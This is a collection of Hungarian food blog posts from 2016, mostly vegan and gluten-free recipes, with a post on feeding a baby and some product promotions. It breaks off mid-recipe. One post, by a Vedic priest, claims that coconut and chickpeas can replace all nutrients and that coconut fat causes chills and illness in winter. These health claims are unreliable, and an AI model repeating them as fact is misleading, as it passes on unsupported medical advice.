A torta alapot datolya, mandula, kesudió adja egy kevés kakaóporral, vaníliával kiegészítve. A krém részhez viszont most nem kesudiót használtam, amit általában a nyers tortákhoz szoktam, hanem kókuszkrémet. A kesudiót érdemes beáztatni és mivel nekem most nem volt időm áztatni, ezért felgyorsítottam a dolgot a kókuszkrémmel. Nagyon kellemes kókuszos ízt ad így a tortának és finom krémes lesz tőle a sütőtökös rész.
Ilyen kókusztejet használtam, amelyből csak a sűrű krémes részt adtam a tortához, a kókuszvíz részt pedig a reggeli smoothie-hoz adtuk. Fantasztikusan sűrű, krémes, kiváló tortákhoz, süteményekhez. A karácsonyi desszerthez ebből fogok kókusztejszínhabot készíteni.
Nyers kókuszos sütőtök torta (vegán, gluténmentes)
Hozzávalók 5-6 főre (18 cm-es kapcsos formához):
Torta alaphoz:
– 160 g mandula és kesudió, vegyesen
– 165 g friss datolya, kimagozva (aszalt is jó, csak érdemes használat előtt egy fél órára langyos vízbe beáztatni, hogy könnyebben aprítsa a robotgép)
– 2 evőkanál nyers kakaópor (jó a nem nyers is)
– 1 evőkanál nyers kókuszzsír (jó a nem nyers is)
– 1/2 teáskanál őrölt vanília
– 1/2 teáskanál Himalaya só
Krémhez:
– 300 g sült sütőtök “húsa”
– 210 g kókuszkrém
– 80 g juharszirup vagy agavészirup
– 1/2 teáskanál őrölt fahéj
– 1/4 teáskanál őrölt gyömbérpor
A mandulát, a kesudiót, a datolyát, a kakaót, a kókuszzsírt, a vaníliát és a sót tegyük konyhai robotgépbe és aprítsuk kis darabosra (utána a robotgép tálját mossuk el). Akkor jó, ha kiveszünk belőle egy kis mennyiséget és összegyúrva összeragad. Egy kapcsos tortaforma alját béleljünk ki sütőpapírral és nyomkodjuk az aljába a datolyás alapot (eléggé ragad a datolya miatt). Tegyük hűtőbe, amíg a krémet elkészítjük.
A krém összes hozzávalóját tegyük a robotgépbe és pürésítsük teljesen simára. Kanalazzuk a krémet a magos datolyás alapra és tegyük a fagyasztóba néhány órára, amíg megszilárdul, szeletelhetővé válik, de nem túl kemény.
Egészségkeksz 2 + 2 fél hozzávalóból
A minap teát kortyolgatva annyira megkívántam mellé a kekszet, hogy azt el nem tudom mondani. Nincs is annál jobb, mint egy korty teát - egy harapás keksszel váltogatni, és közben csak nézni magunk elé. Szabályosan felér egy mantrával.
Most már azt mondom, hála Istennek, nem volt itthon semmiféle keksz, mert másnap így kezdtem el egészséges recepteket keresni. Találtam is egy két hozzávalósat (banán és kókuszreszelék), de amikor nekikezdtem, egyszerűen nem tudtam megállni, hogy ne illatosítsam meg valamivel. Egy négy hozzávalós keksz persze már nem olyan bámulatos, de igazán megéri az a kis ízesítés, mert így lesz igazán melengető íze a keksznek. Asszem, én márciusig ezt eszem. :)
Hozzávalók 8 db nagy kekszhez:
[...] Bővebben!
Kókuszos kölesgolyó
Ez a recept Márti hogymegtudjuknezni.blogspot.hu oldaláról származik, egy picit módosítottam rajta. Már régóta nézegetem, most érkezett el az idő, hogy megcsináljam. Megérte! Hozzávalók: 1 pohár (2,5 dl) köles egy csipet só 2 dkg vaj 4 ek kókuszreszelék egy citrom reszelt héja fél citrom leve 1 kk...
Táplálj helyesen, édesanyám! (6. rész)
2016. november 21. Zizi kalandjai
Kerámia reszelő {Kyocera}, bambusz kanalak {Mamamibolt}
Minden ember más és más. Minden gyerek más és más. Minden baba más és más. Ez itt a Táplálj helyesen, édesanyám! kettő pont nullás újratervezett verziója!
Talán néhányan emlékeztek, hogy miket írtam Ádi hozzátáplálásának a kezdetén. Azóta rájöttem, hogy a leírtak alapján tankönyvszerűen haladtunk. És mi a helyzet Ákossal? Na őt más dióból faragták! Elmesélem miért!
Július elején lett 6 hónapos, de eltelt utána még egy kis idő, amikor először próbálkoztunk nála finom, szaftos, édes őszibarackkal. Nem igazán lett a kedvence, ahogyan a répa sem. Azt gondolom, magával az “ízorgiákkal” volt baja, nem kattant rá a szilárd ételre, ahogyan Ádi, így tartottunk nála egy kis szünetet. Azért persze néha-néha próbálkoztunk újra őszibarackkal, almával és répával, de csak próbaszerűen. 8 hónapos kora körül kezdett el kicsit jobban érdeklődni az ételek iránt, de nem olyan lelkesedéssel, mint Ádi, hanem ímmel-ámmal, néha ízlett neki egy-két dolog és egész jól evett belőle.
Az az igazság, hogy másodjára már nem vagyok annyira lelkes a hozzátáplálást illetően, mint első alkalommal. Két gyerek ellátása és a háztartás vezetése mellett, valamint a saját ebédünk megfőzése mellett kevés időm marad Ákos ételeinek elkészítésére. Igyekszem minél könnyebben és egyszerűbben megoldani a dolgot, ráadásul sokszor fektetek bele több energiát, hogy hátha most majd megeszi, amit főzök, aztán mégse teszi. Szóval lazábban kezelem a dolgot és többnyire nyers vagy sült zöldségeket és gyümölcsöket adunk neki. A nyers gyümölcsök többségét – körtét, almát – Kyocera kerámia reszelővel reszeljük pépesre. Hihetetlen könnyű reszelni ezzel a 100% kerámia reszelővel, ugyanis szilikon aljzattal rendelkezik, mely meggátolja az eszköz használat közbeni elcsúszását. Simán tartod az egyik karodban a gyereket, a másik kezeddel pedig tudod reszelni a hámozott almát, ráadásul villámgyorsan, mert a kerámia anyagnak köszönhetően nagyon gyorsan le lehet reszelni vele egy teljes almát vagy körtét. Nem csak baba hozzátápláláshoz hasznos az eszköz, mert lehet vele reszelni fokhagymát, gyömbért, kurkumát, őszibarackot, puhább zöldségeket, például cukkinit is (kiváló ajándék lehet karácsonyra a szuper éles hámozóval együtt – anyukám szerint a világ legjobb hámozója, ő már elég sok fajtát kipróbált, de szerinte ez a legjobb ).
Lazábban veszem azt is, hogy miket adok neki, szóval ő sokkal hamarabb kóstolta az avokádót és a banánt például, mint Ádi. Mennyiségeket egyáltalán nem mérek nála, teljesen felesleges, mert randomszerűen eszik. Hol egy egész kis tálkával megeszik például egy almás kását, hol egy kanálnyi után nemtetszését fejezi ki, tehát értelmetlen lenne mennyiségeket mérni és azokat tukmálni rá. Zöldségeken és gyümölcsökön kívül gluténmentes gabonakását csinálunk még neki kb. 8-9 hónapos korától. Ezt is néha megeszi, néha nem. Gluténmentes tésztát is eszik, a Biorganiktól veszem ezt a kis kagyló formájút, ami azért jó, mert a pici kis ujjaival könnyen tudja csipegetni a tészta darabkákat.
Brokkolis tészta (főtt gluténmentes tészta párolt brokkolival)
Abban is lazább vagyok, hogy sokkal hamarabb adtam neki darabos, darabkás ételeket. Pürével kezdtünk, de néha úgy éreztem, hogy a darabos étel jobban menne neki. Nem mondom, hogy BLW-zünk – és tudom BLW (baby led weaning) során tilos keverni a pürés ételeket a darabossal -, inkább azt mondom, hogy hamarabb kezdte a darabos ételek fogyasztását, mint Ádi. Most már 10.5 hónapos, van már 5 foga és még legalább 5-6 jön neki éppen, tehát egész jól tud már “rágcsálni”. Valószínűleg a sok fog érkezése miatt viszont most alig eszik valamit, hébe-hóba kóstolgat meg ételeket… bármit teszek elé, adok neki, többnyire nem érdekli. A cici viszont annál inkább. Ez a fogzási időszak velejárója lehet, hogy nincs a babának étvágya. Na de Ákos súlya miatt nem kell aggódni, mert már 9.5 hónapos korában 11 kg volt!
Ádinak nem jöttek rohamtempóban a fogai, észre sem vettük, hogy fogzik, tehát nála étvágytalanság fel sem merült. Ákosnál viszont éppen turbó időszak van, így szegénykém nyugtalan is, meg a szilárd étel sem érdekli igazán.
Szóval ezeket ette, próbálta eddig (10.5 hónapos éppen):
Gyümölcsök: őszibarack, sárgabarack, alma, körte, szőlő, mangó, banán, avokádó.
Zöldségek: cukkini, kaliforniai paprika, répa, paszternák, sütőtök, spenót, brokkoli, karfiol, édesburgonya, lilaburgonya, burgonya, uborka, fokhagyma.
Gabona: gluténmentes gabonapehely, gluténmentes tészta.
Zsiradék: hidegen sajtolt babaolaj (repce-, napraforgó-, kenderolaj), minimális kókuszzsír.
Folyadék: anyatej, víz.
Zöldfűszer: kakukkfű, petrezselyem.
A tuti nyerő étel nála az avokádó. Általában ezt mindig megeszi. Vagy csak simán a héjából kikanalazzuk a gyümölcs húsát és falatkákat adunk, vagy villával pépesre törjük és úgy adjuk neki. Általában képes megenni egy fél avokádót vagy egy kicsivel többet egy étkezés során. Egyszer főztem fokhagymás párolt spenótot, amit gabonakásával kevertem össze. Meglepő módon az egészet megette. Teljesen kiszámíthatatlan, hogy mit eszik meg és mikor. Reménykedünk, hogy a fogai minél előbb kibújnak, a fájdalom elmúlik és megjön az állandó étvágya minél előbb.
Táplálj helyesen, édesanyám! (1. rész)
Táplálj helyesen, édesanyám! (2. rész)
Táplálj helyesen, édesanyám! (3. rész)
Táplálj helyesen, édesanyám! (4. rész)
Táplálj helyesen, édesanyám! (5. rész)
Kókuszos mandulatej
2016. november 19. Gitta nyersétel blogja
Magtej mandulából és kókuszreszelékbőlMilyen jó, ha az ember lánya felnő és felnőttek a barátnői :) Ma délelőtt Nóra lányom barátnőiével elmélkedtünk, hogy miből lehet növényi tejet készíteni, mandula, mák, dió, kókuszreszelék, stb... Azt mondták, hogy ehhez növényi tejkészítő gép kell, különben biztos nagyon macerás. No akkor csináljunk egyet, meglátjátok, hogy milyen egyszerű... jó de miből készítsük? Van itthon dió, mandula, kókuszreszelék.. Kettőből nem lehetne? Dehogynem! Micsoda jó ötlet... :) legyen mandula és kókusz... hozzávalók: mandula és kókuszreszelék (a háttérben a mandulás kókuszgolyó) vagyis: 14 dkg mag (mandula és kókuszreszelék kb fele fele arányban) 1 liter víz szűrő (vagy szűrőzsák, vagy egy nyeles konyhai szűrő, nagyon finom szűrő felülettel) Kókuszreszelék mandulaA magokat a vízbe tesszük és simára turmixoljuk. Trükk: először csak 1/2 liter vízzel, hogy minél simább legyen. Utána mehet bele a többi víz. Ezután a fehér folyadékot beleöntjük a szűrőbe vagy szűrőzsákba, és kinyomkodjuk a levét. Ami kijön, az a tej. Jelen esetben kókuszos mandulatej.Peti fiam azt mondta rá, hogy finom, mert egyszerre lehet érezni a mandula és a kókusz ízét :) igaza is van :) Ami visszamarad, az a pép, nagyon finom, sok mindenre fel lehet használni. Ez a pép kókuszos és mandulás, rögtön jön az ötlet, csináljunk belőle raffaello golyót.A fotója itt van, a recept a következő blogbejegyzés lesz.
Változatos datolyagolyók egyszerűen, akár az ünnepi asztalra is (gluténmentes, laktózmentes, tojásmentes, nyers vegán)
2016. november 15. Zöld Avocado
datolyagolyók (gluténmentes, nyers vegán) A datolya az egyik legősibb gyümölcsünk, mely a Bibliában is fel-felbukkan, és feltehetően már az időszámításunk előtti Mezopotámiában is ismerték és fogyasztották. A datolya az araboknál az őszinteséget, a szépséget és az igazságosságot szimbolizálja. Növényi hormontartalmának köszönhetően az arab kultúrákban gyakran fogyasztják a változókor idején a nők, hogy elősegítsék a hormonháztartás egyensúlyának megtartását. Jelentős természetes kalcium és magnézium forrás, illetve rosttartalmának köszönhetően hozzájárul a tökéletesebb emésztéshez. (Székrekedés és aranyér esetén is a testünk is fellélegezhet napi 1-2 szem datolya fogyasztása után.) Jelentős természetes cukortartalmától gyorsan kapunk új energiára pár szem datolya golyó elfogyasztása után. Főleg, ha a golyókba még ún. szuperételeket is elrejtünk. Népszerű és egyszerű desszert következik, ahol az alap hozzávalók egyformák, az ,,extra hozzávalókkal a végeredmény mégis változatos. Nem kell őket sütni, rengeteg fajta alapanyagból elkészíthetjük, és kb. 15 perc munkát igényelnek. Mutatok nektek 7 különböző ízű datolyagolyó ötletet, melyek csak kiindulási alapok. A variációk száma végtelen! Kísérletezzetek bátran, mert elrontani nem lehet! Melyik recepttel kezditek? HOZZÁVALÓK (fajtánként 15 darab kb. 3 cm átmérőjű golyóhoz) datolyagolyók (nyers vegán)1) narancsos - diós: - 100 g áztatott datolya - 1/2 narancs frissen facsart leve - 2/3 bögre dió ledarálva - meghempergetni reszelt narancshéjban 2) pisztáciás - lime-os: - 100 g áztatott datolya - 60 g apróra tört pisztácia - 50 g darált mandula - 1/2 zöld lime leve és a reszelt héja - 2 ek bio kakaópor / karobpor - megforgatni darált pisztáciába, és reszelt lime héjban Megjegyzés: A datolya mennyisége az áztatott datolyára vonatkozik. (A datolya helyett használhatunk aszalt szilvát is.) 3) chiás - vörösáfonyás 4) mákos - citromos 5) pekándiós - répás 6) almás - diós 7) kókuszos - karobos datolyagolyók (gluténmentes, nyers vegán) datolyagolyók (nyers vegán)ELKÉSZÍTÉS 1) Áztassuk be a mag nélküli datolyát min. 3-4 órára, majd az áztató víz nélkül tegyük az aprítógépbe (Botmixer is jó. Sőt! Ha elég puhára ázott a datolya, akár a kezünkkel szétnyomkodva is pépesíthetjük.) 2) A ,,lekvárrá zúzott datolyát tegyük egy keverő tálba a többi hozzávalóval, majd kézzel gyúrjuk alaposan össze. (Ha túl nedves az alapanyag - függ a felhasznált datolyától - , tegyünk hozzá 1/2 evőkanál útifű maghéjat vagy chia magot vagy még több darált mandulát, hogy keményebb tésztát kapjunk. Ebben az esetben hagyjuk állni a nyers tésztát golyózás előtt, hogy magába tudja szívni a nedvességet az útifű maghéj vagy a chia mag.) 3) Formázzunk golyókat, majd hempergessük meg őket a választott ízesítésnek megfelelő hozzávalóban. 4) Fogyasztás előtt tegyük őket a hűtőbe min. 2-3 órára. datolyagolyók (gluténmentes, nyers vegán) Kíváncsi vagy a többi datolya golyó receptre? Szeretnél még több természetes alapanyagot, zöldséget, gyümölcsöt, magvakat, diófélét fogyasztani, de nincs ötleted, hogyan készítsd el őket? Jön a Karácsony. Érkezik a gluténérzékeny, laktózérzékeny, cukorbeteg vendégsereg. Manapság egyre nagyobb kihívás a különböző diétát követő vendégek igényeit kielégíteni! Szeretnéd, ha mindenki jóllakottan, elégedetten és lenyűgözve hagyná el az otthonod? A Mit eszik a Világ? Ha nem eszik... c. recepteskönyv már Magyarországon is kapható! 170 db egészséges recept, magyar szerzőtől, nyomtatott és elektronikus formában is. Az e-Könyv höz már 1 995 Ft -tól hozzájuthatsz! Kíváncsi vagy rá mit mondanak róla korábbi vásárlóink? Katt a "Ti küldtétek" menüpontra! Szeretnél belelapozni a könyvbe? Itt megteheted: Mit eszik a Világ? Táplálkozz, ne csak étkezz! ;-) datolyagolyók (gluténmentes, nyers vegán) datolyagolyók (gluténmentes, nyers vegán) datolyagolyók (gluténmentes, nyers vegán) datolyagolyók (gluténmentes, nyers vegán)
Kismamák, figyelem! Szeretnétek időt nyerni a mindennapokban?
2016. november 11. Éltető ételek
Elmesélem, ma mit főztem a két pici mellett. Akik, megjegyzem, nagyon picik. Vagyis éppen annyira, hogy zavart teremtsenek bármilyen erőben, hogy egyszerre ketten négyfelé rohanjanak, hogy lerántsanak mindent az asztalról, konyhapultról, hogy kiborítsanak bármit...és sorolhatnám, mikre képes egy 2 és egy 1 éves ördögfióka. De ti mind úgyis tudjátok. Szóval: reggel gyorsan összedobtam nekik egy kis zabkását kókusztejből. Természetesen A GÉPpel. 1 perc volt. Aztán tízóraira készítettem egy kis gyümölcspürét, szintén legújabb barátommal, hivatalos nevén MAG4-el, de mi csak A GÉPnek hívjuk. A gyümölcspucolás kicsit macerás volt, de utána semmi dolgom nem volt vele, csak egy gombot kellett benyomni és ő csinálta a dolgát. Aztán délelőtt még kétszer használtam: elkészítettem a levest vele és utána elővettem egy adag lefagyasztott barackot, s ,,összeütöttem egy kis dzsemet, mert sajnos már minden tartalék elfogyott. Hogy ennek milyen finom illata tud lenni! Mindig elcsodálkozom. Persze amikor végzett beledobtam mindent a leveshez, hadd szóljon. Épp időben lett kész. Aztán a bébiétel is elkészült, amíg a levest majszolták. Miután a gyerekek felkeltek, bekészítettem még egy adag mandulatejet, mert megint elfogyott a tegnapi két liter. Aztán irány a játszótér. Este már csak egy kis mártogatóst készítettem, lilahagyma chutney néven találtam a receptek közt. Édeskrumplival, sült répával zseniális! Aztán másnapra elkészítettem a szezámmagos mártogatóst, előre. Este, az utolsó mosogatásnál megjegyeztem a férjemnek: azért ha még mosogatni sem kellene, akkor lenne az igazi....Mire ő megkérdezte: mit csináltatok ma? Mondtam, hogy gyurmáztunk és ujjfestékkel is maszatoltunk a csomagolópapírokon, amit a múltkor hozott. És mostam, meg teregettem. És gyakoroltuk a fürdetést és a bilizést a babákkal. Na meg kiolvastuk a Négyszögletű kerek erdőt. Ja, és persze háromszor öltöztünk át, mert egyedül akarnak csak inni. De még hideg van ahhoz, hogy vizes ruhákban flangáljanak. Erre ő megjegyezte: Ne mondd, hogy A GÉP 4 óra szabadidőt zúdított rád?! Az biztos, hogy sokat segít - tűnődtem - de azért csak szervezés kérdése, nem igaz? ;) Ha akarsz egy jó barátot: http://magtej.hu/ valamint www.facebook.com/magtej.hu
Zöldhagymás édesburgonya-pogácsa
2016. november 9. Vegán muflon
Vannak konyhai fogalmak, melyek szitokszóként is kiválóan funkcionálnak. Ilyen a pogácsa, a piskóta, a nokedli és a pampuskajanicsár, jóllehet, ez utóbbit még soha, senki nem ejtette ki a száján. A szerző kivételesen nem gyalázkodásként gondolt a pogácsára, és higgadt lelkiállapotában végiggondolta, hogyan lehetne elkészíteni a sima krumplis verzió változatát progresszívebb formában, egy tankhajónyi étolaj nélkül. Javasolnám, hogy csupán azok kíséreljék meg az előállítását, akik rendelkeznek némi rutinnal pl. zöldségfasírt-gyártás terén, ellenkező esetben könnyen előfordulhat, hogy a legkülönfélébb mitológiai vadakat szólítják fel szexuális aktusra nagy hangerőn. (Önéletrajzi ihletésű tanulság!)
Beszerzi célirányosan a következőket:
1 kg édesburgonya 2-3 szál felaprított zöldhagyma 2 ek szójaszósz 100g liszt 1/2 tk barnacukor 1 ek felaprított chilipaprika 1 tk só olívaolaj vagy kókuszzsír a sütési metódushoz
Az édesburgonyát hirtelen felindulásból meghámozzuk, majd szándékosan puhára pároljuk. Szükség esetén szűrőbe tesszük, és mikor lecsepegett, majd kihűlt, egy keverőtálba helyezzük, és összegyúrjuk a többi hozzávalóval. Ha túlságosan mrutyok állagúnak találjuk, további lisztet adunk hozzá. Ezt követően egy szigorúan tapadásmentes serpenyőben olívaolajat hevítünk, majd kisütjük rajta a pogácsává formázott masszát. Korianderes-szójajoghurtos mártással fogyaszthatjuk, de magában megzabálva is isteni.
Fokhagymás sajtkrémmel töltött szejtán szezámmagos bundában
2016. november 1. Vegán muflon
Akár kijevi rántott szejtánt is írhattam volna magaslabdát szolgáltatva a tudálékos, kötekedő kommentelőknek! Bármily megdöbbentő is, létezik ugyanis olyan embertípus, aki a komment funkciót kukacoskodásra használja ahelyett, hogy közterekre vonulna a blog íróhát ábrázoló transzparenssel, és fennhangon hirdetné: "Egy tengerimalac zoknicsiptetője vagyok a Vegán Muflon szerzőjéhez képest! Hegyikecskék baktassanak fel az orrsövényemen tűsarkú búvártappancsban, ha leszek oly búboskemence képű vadparaszt, hogy beugatok neki!" Szóval a kijevi szejtánba töltött fűszeres vajat vegán sajtkrémmel reprodukáltam, melytől elvesztette kijevi jellegét, de finom lett.
Tehátakkor, előkotorjunk ezeket a sublót aljából, hacsak nem a sifonérben tároljuk:
Alkotóelemek:
200g szejtánpor 70g búzaliszt 2 ek olívaolaj só 200g tömlős vegán sajtkrém (Már a G-Robyban is kapni, de jobb bioboltokban tuti) 3 gerezd fokhagyma 100 g zsemlemorzsa 2 dl szójatej (natúr) 100g fehérliszt 2 ek szezámmag 4dl étolaj vagy étolajfóbiásoknak kókuszzsír
A szejtánport és a lisztet óvatlanul elkeverjük, megsózzuk, majd hozzáadjuk a vizet és összegyúrjuk. Az így kapott szürkeállomány állagú esszenciát fél óráig hagyjuk békében, és figyelmeztessük hozzátartozóinkat, hogy ne ijedjenek meg tőle. Ezt követően 4-5 egyforma részre nyiszatoljuk, és jó 3/4 óráig főzzük zöldségleves-alaplöttyben. A megfőtt és kihűlt szejtánt mélységes rutinnal telítődve 1-2 cm vastag szeletekre vágjuk. A sajtkrémet elkeverjük az összetört fokhagymával, sózzuk, borsozzuk, majd két szejtánszelet közé töltjük. Az ízlésesen összetapadt szejtánszeleteket megforgatjuk sós, lisztben, szójatejben, megint lisztben, megint szójatejben, legvégül a szezámmaggal elkevert zsemlemorzsában. (Aki felismerte, hogy itt a dupla panírozás metódusát taglaltam, joggal ünnepelheti magát!) Végül az egész hóbelevancot kisütjük forró olajban, majd rizsával vagy salátával zabálásra kínáljuk fel.
Kakaós-sütőtökös muffin
2016. október 25. Éltető ételek
A gyerekeknek "Tök jó nap" volt az iskolában, így egy olyan sütit kellett készítenem, amelyben sütőtök van, de ennek ellenére megeszik a gyerekek. Ugyanis a gyerekeim sajnos nem szeretik a sütőtököt, legalábbis akkor nem, ha látják és érzik, hogy benne van. Úgyhogy most el kellett dugnom, vagyis került bele dió, narancsolaj és kakaópor, hogy valóban ne legyen tökös íze. Hozzávalók: - 15 dkg sült sütőtök - 15 dkg teljes kiőrlésű tönkölyliszt - 5 dkg darált dió - 2 evőkanál cukrozatlan kakaópor - 8 dkg méz - 6 dkg kókuszolaj - 1 dl rizstej - kb. 0,5 dl frissen facsart narancslé - 2 teáskanál foszfátmentes sütőpor - 1 teáskanál szódabikarbóna - késhegynyi vaníliapor - késhegynyi fahéj - 5-6 csepp narancsolaj - csipet só Elkészítése: - Egy tálban keverjük el a nedves hozzávalókat: sült sütőtök, méz, puha kókuszolaj, rizstej, narancslé, narancsolaj. - Egy másik tálban pedig a lisztet, a diót, fűszereket, kakaóport, sütőport és a szódabikarbónát. - Lazán forgassuk össze, majd kanalazzuk bele a muffinformákba. - Előmelegített sütőben, 180 fokon süssük kb. 30-35 percig.
Omlós diós-lekváros keksz (vegán)
2016. október 4. Zizi kalandjai
Puha, omlós, szájban olvadós kekszek… erre vágysz? Akkor megtaláltad a tuti receptet. Gyorsan elfogyós kekszek, mert mi is és a vendégek is rájárnak. Ezt tapasztaltam, amikor Ádi harmadik szülinapján kipakoltam a kekszeket. Imádom, ahogyan a gyerekek csipegetnek egy svédasztalról. Kivesznek egy olívabogyót a tálkából, beleharapnak, leteszik, mert arrébb meglátnak egy datolyagolyót… beleharapnak, leteszik és már rohannak is játszani. Így volt ez Ádi születésnapján is, én meg jó anya módjára megeszegettem az összes ott maradt darabkát, legyen az egy répa, egy keksz vagy egy datolyagolyó.
I. családjából érkezik ez a keksz recept és mindig azt hallottam, hogy az anyukája milyen finom mini islereket sütött. Szóval ezek lehetnek mini islerek is, ha bevonjuk őket olvasztott csokoládéval, csak mi megkíméltük magunkat és más anyukákat, hogy az olvadt csokit kelljen a gyerekek ruhájáról, kezéről, szájáról, arcáról törölgetni a napsütéses melegben. A tésztája tele van dióval, ettől még finomabb. Két keksz közé pedig házi savanykás sárgabarack lekvár került, de eperrel, szederrel is kiváló… ki, mit talál a kamrájában.
UI: Karácsonyra már most mentsétek el a receptet! Ha sokféle süteményt készítetek, ez legyen az egyik! Sőt, egy doboznyit ajándékba is adhattok!
Omlós diós-lekváros keksz (vegán)
Hozzávalók 20-30 darabhoz:
– 250 g tönköly fehérliszt
– 160 g dió, darálva
– 250 g jó minőségű margarin (hideg legyen!)
– 100 g nád porcukor
– csipet Himalaya só
– sárgabarack lekvár
Melegítsük elő a sütőt 170C fokra. Béleljünk ki egy tepsit sütőpapírral és vékonyan kenjük át kókuszolajjal.
Egy tálba kockázzuk fel a hideg margarint, majd adjuk hozzá a lisztet. Kézzel dolgozzuk morzsás állagúra. Ekkor adjuk hozzá a darált diót, a porcukrot és a csipet sót. Gyúrjuk össze a tésztát. Tegyük lisztezett felületre és nyújtsuk ki 3-4 mm vastagságúra. 3-4 cm átmérőjű pogácsaszaggatóval vágjunk kis köröket a tésztából, tegyük a tepsire és süssük 12-15 percig, amíg aranybarnák lesznek.
Ha kihűltek a keksz körök, vegyünk egyet, kenjük meg lekvárral és “ragasszunk rá” egy másik keksz lapot.
Dobozban, hűvös helyen két hétig elállnak, de úgysem fognak addig tartani.
Tipp : a kekszeket bevonhatjuk csokoládészósszal. Olvasszunk fel vízfürdő felett 100 gramm étcsokoládét és ebbe mártogassuk bele a keksz szendvicsek egyik oldalát. Csokoládészószt készíthetünk úgy is, hogy egy kevés kókuszzsírt felolvasztunk, adunk hozzá kakaóport és ízlés szerint tehetünk bele vaníliát vagy valamilyen édesítőszert (datolyaszirupot vagy nád porcukrot). Jól elkeverjük és belemártogatjuk a keksz szendvicsek egyik oldalát. Hagyjuk a csokit rádermedni, utána tálaljuk.
**********
2016 októberében megjelenő Vegán Reggeli című szakácskönyvem még mindig 25%-os kedvezménnyel rendelhető meg! Remélem ti is annyira várjátok, mint én! Részletekért katt a képre!
Csokoládés energiabomba turmix (vegán)
2016. október 1. Zizi kalandjai
Igazán jól indul a napunk egy ilyen energiabomba turmixszal. Van benne kakaópor, banán, mandulatej, spenót (opcionálisan hozzáadható) és egy különleges alapanyag: kendermag por. A kendermag por gazdag esszenciális aminosavakban, bővelkedik B- és E-vitaminban, valamint jelentős mértékben tartalmaz kálciumot, magnéziumot és káliumot. A kender másik erénye az, hogy gazdag Omega-3 és Omega-6 zsírsavakban. Ha nem sikerül beszerezni, anélkül is elkészíthető a turmix, esetleg adhatunk hozzá őrölt lenmagot helyette.
Nyers kakaópor / Kendermag por
Ez olyan desszertet reggelire recept… nem mondom, hogy tegyünk (kókusz) tejszínhabot a tetejére, de ha mégis, akkor tényleg desszert lesz belőle. Jó sűrű turmix, ami feltölt bennünket reggelente vagy akár sportolás után (a kendermag por magas fehérjetartalma miatt kiváló táplálék kiegészítő sportolóknak)!
Csokoládés energiabomba turmix (vegán)
Hozzávalók 2 főre:
– 2 bögre mandulatej (rizs-, zab- és szójatej is használható)
– 1 db érett banán, meghámozva, szeletekre vágva
– 2 evőkanál cukrozatlan kakaópor
– 1 evőkanál kendermag por
– 1 kis maréknyi friss spenót
(A recepthez használt bögre 250 ml-es.)
A hozzávalókat tegyük turmixgépbe, és turmixoljuk 5 percig. Ha túl sűrűnek találjuk, hígítsuk még egy kevés mandulatejjel.
**********
2016 októberében megjelenő Vegán Reggeli című szakácskönyvem még mindig 25%-os kedvezménnyel rendelhető meg! Remélem ti is annyira várjátok, mint én! Részletekért katt a képre!
Kókuszzsír mindig, minden koron?
2016. szeptember 15. Eszemiszom – Jóga Magazin
Kb. már 2 éve tervezgetem, hogy meg írom ezt a rövidke kis bejegyzést nektek, de mindig elfelejtettem. De sebaj, hiszen addig végeztem nektek egy csomó kutatást is ebben a témában.
Röviden a sztori annyi, hogy nagy népszerűségnek örvend a kókuszzsír használata nyugaton az egészségtudatos táplálkozásban. De sajna nincs csodaszer, nincs mindenre ható és mindent elmulasztó elixír. Mindennek meg van a használati utasítása, mindennek meg van a Dharmája.
A kókusz tényleg csodaszer, de nem mindenre. A mai nyugati tápanyag, tápérték tekintetében 2 olyan alapanyag van, ami mindent képes pótolni az emberi szervezetben. Az egyik a kókusz, a másik a csicseriborsó. A kókusz olyannyira teljes értékű tápszer, hogy utánpótlás hiányában a második világháborúban infúzióként is alkalmazták a fülöp-szigeteki csatákban, mindkét oldalon.
De mi a kókusz egyik legfőbb tulajdonsága? Az, hogy hűt!
Indiában, ahol azért néha szokott meleg lenni, amint lemegy a nap a kókuszdió árusok is levonulnak, mert ez még egy fennmaradt hétköznapi tudás az ottani berkekben, hogy olyannyira hűt a kókusz, hogy naplemente után még nyáron sem isszák a helyi erők.
Az itteni tél pedig már szinte egy felfoghatatlan tartomány az Ájurvéda tudományában.
Szóval, amint picit hidegebb lesz, ne főzzünk kókuszzsírral, ne kenjük magunkra, ne masszírozzunk vele másokat. Persze hajra még mindig mehet, mert a fejet Ájurvédikus hűteni kell.
Az elmúlt 2 télen viszont volt alkalmam legalább 35-40 embert megkérdezni a téli kókuszzsír használókat, hogy fázósabbak lettek-e, vagy esetleg sikerült is átlagnál többször lebetegedniük, és válasz egybehangzóan igen volt.
Szóval ha jön a tél, és olajazni akarunk, magunkat, másokat vagy egészséges étkezési olaj alternatívát keressünk, ajánlanám a mustármag olajat, aminek a fő Dharmája a melegítés!
Om Tat Sat
Baktai Ádám Védikus pap, a Védikus tudományok szakértője
Csokis-meggyes kölestorta
2016. szeptember 9. Éltető ételek
A facebook csoportomban "mindenmentes" torta receptről beszélgettünk, amikor eszembe jutott ez a kölessüti. Viszont volt vele egy kis gond, ugyanis és tortaformában szerettem volna megsütni, de amikor beleöntöttem a folyadékot, abból az kifolyt. Ezért újratervezés következett és ez lett belőle. Az egész családnak ízlett, még a párom is elismerően bólogatott. Akár 1 éves szülinapra is tökéletes ez a torta, mivel hozzáadott cukrot nem tartalmaz, glutén-, tojás- és tejmentes is. A tészta állaga nem a megszokott piskóta, mivel a köles nincs megdarálva, ezért sokkal krémesebb és lágyabb. De ennek ellenére szeletelhető volt. A torta széle kissé lilás lett, szerintem a meggy miatt. :) Hozzávalók: - 1 csésze köles - 3 csésze növényi tej (pl. kókusz-, vag mandulatej) - késhegynyi vaníliapor - 1 banán - 6 datolya - meggy(befőtt) - 1-2 evőkanál kakaópor - 1 teáskanál szódabikarbóna - 1 evőkanál bio vaj vagy kókuszolaj Krém: - 20 dkg puha datolya - 2 evőkanál chiamag - 1-2 evőkanál kakaópor - 8-10 csepp narancsolaj Díszítés: bármilyen szezonális gyümölcs Elkészítése: 2 csésze tejet tegyünk fel főni. Szórjuk bele a kölest és a vaníliaport, majd lefedve kb. 12 perc alatt főzzük puhára.A megmaradt 1 csésze tejbe áztassuk be a datolyát, majd tegyük bele a banánt is. Botmixerezzük össze. Ezt az édes, banános tejet öntsük rá a megfőtt kölesre.Lazán forgassuk össze, majd szórjuk bele a kakaóport és a szódabikarbónát. Keverjük hozzá a puha vajat is.Öntsük bele a tortaformába, majd bőségesen szórjuk meg a kimagozott meggyel. Kissé bele is keverhetjük. (Ha lazább sütit szeretnél, akkor tegyél bele 2 felvert tojásfehérjét).Előmelegített sütőben (180fok), kb. 30 perc alatt süssük meg. Közben készítsük el a krémet. A puha datolyát daraboljuk 